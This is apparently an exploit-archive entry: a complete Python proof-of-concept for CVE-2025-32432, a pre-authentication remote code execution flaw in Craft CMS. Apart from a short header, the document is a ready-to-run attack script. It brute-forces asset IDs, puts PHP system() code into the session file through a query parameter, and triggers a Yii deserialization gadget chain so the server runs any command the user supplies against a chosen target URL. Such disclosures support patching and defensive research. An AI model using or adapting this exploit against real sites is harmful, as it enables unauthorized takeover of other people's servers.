# Exploit Title: Craft CMS 5.6.16 - RCE
# Google Dork: N/A
# Date: 2026-01-24
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Vendor Homepage: https://craftcms.com
# Software Link: https://github.com/craftcms/cms
# Version: <= 3.9.14, <= 4.14.14, <= 5.6.16
# Tested on: Linux, Apache/Nginx, PHP 8.x
# CVE: CVE-2025-32432
#
# Description:
# Craft CMS contains a pre-authentication remote code execution vulnerability
# in the assets/generate-transform endpoint. By abusing a Yii deserialization
# gadget chain (FieldLayoutBehavior → PhpManager) and poisoning a PHP session
# file, an unauthenticated attacker can achieve arbitrary command execution.
#
import requests
import argparse
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def find_asset_id(base_url, max_attempts=300):
"""
Brute-force search for a valid Asset ID.
This is optional and may be unreliable on some installations.
"""
session = requests.Session()
session.verify = False
print("[*] Brute-forcing Asset ID (best-effort)...")
for asset_id in range(1, max_attempts + 1):
url = f"{base_url}/actions/assets/generate-transform"
payload = {
"assetId": asset_id,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "invalid"
}
]
}
}
}
try:
r = session.post(url, json=payload, timeout=5)
if r.status_code != 404:
print(f"[+] Potential valid Asset ID found: {asset_id} (HTTP {r.status_code})")
return asset_id
except:
continue
print(f"[-] No valid Asset ID found after {max_attempts} attempts.")
return None
def implant_php(base_url, cmd):
"""
Step 1: Poison the PHP session file with injected PHP code.
This relies on old-style behavior where query parameters are written
into the session file without sanitization.
"""
injection = f"<?php system('{cmd}'); ?>"
url = f"{base_url}/index.php?p=admin/dashboard&a={injection}"
try:
r = requests.get(url, verify=False, timeout=10)
if r.status_code == 200:
print(f"[+] Session poisoning request sent successfully")
return True
else:
print(f"[-] Injection failed (HTTP {r.status_code})")
return False
except Exception as e:
print(f"[-] Injection error: {e}")
return False
def execute_command(base_url, asset_id, session_id):
"""
Step 2: Trigger deserialization and force PhpManager to include
the poisoned session file from /tmp/sess_<PHPSESSID>.
"""
url = f"{base_url}/actions/assets/generate-transform"
payload = {
"assetId": asset_id,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": f"/tmp/sess_{session_id}"
}
]
}
}
}
try:
r = requests.post(url, json=payload, verify=False, timeout=15)
return r.text
except Exception as e:
return f"[-] Execution request failed: {e}"
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-32432 - Craft CMS Pre-Auth Remote Code Execution"
)
parser.add_argument("-u", "--url", required=True,
help="Target base URL (e.g. https://victim.com)")
parser.add_argument("-c", "--cmd", required=True,
help="Command to execute (e.g. id, whoami)")
parser.add_argument("-a", "--asset", type=int,
help="Known valid Asset ID (recommended)")
parser.add_argument("-s", "--scan-max", type=int, default=300,
help="Max Asset ID brute-force range (optional)")
args = parser.parse_args()
base_url = args.url.rstrip('/')
session = requests.Session()
session.verify = False
# Step 0: Obtain PHP session ID
try:
r = session.get(f"{base_url}/index.php", verify=False, timeout=10)
session_id = session.cookies.get("PHPSESSID", None)
if not session_id:
print("[-] Failed to obtain PHPSESSID")
return
print(f"[+] Obtained PHPSESSID: {session_id}")
except Exception as e:
print(f"[-] Failed to establish session: {e}")
return
# Determine Asset ID
asset_id = args.asset
if not asset_id:
asset_id = find_asset_id(base_url, args.scan_max)
if not asset_id:
print("[-] Exploitation aborted: no valid Asset ID found")
return
print(f"[+] Using Asset ID: {asset_id}")
# Step 1: Poison session file
if not implant_php(base_url, args.cmd):
print("[-] Session poisoning failed")
return
print("[*] Waiting for session file to be written...")
time.sleep(2)
# Step 2: Trigger RCE
print(f"[*] Triggering command execution: {args.cmd}")
output = execute_command(base_url, asset_id, session_id)
# Output handling
print("\n[+] Server response:")
print(output[:2000])
if __name__ == "__main__":
print("=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===")
main()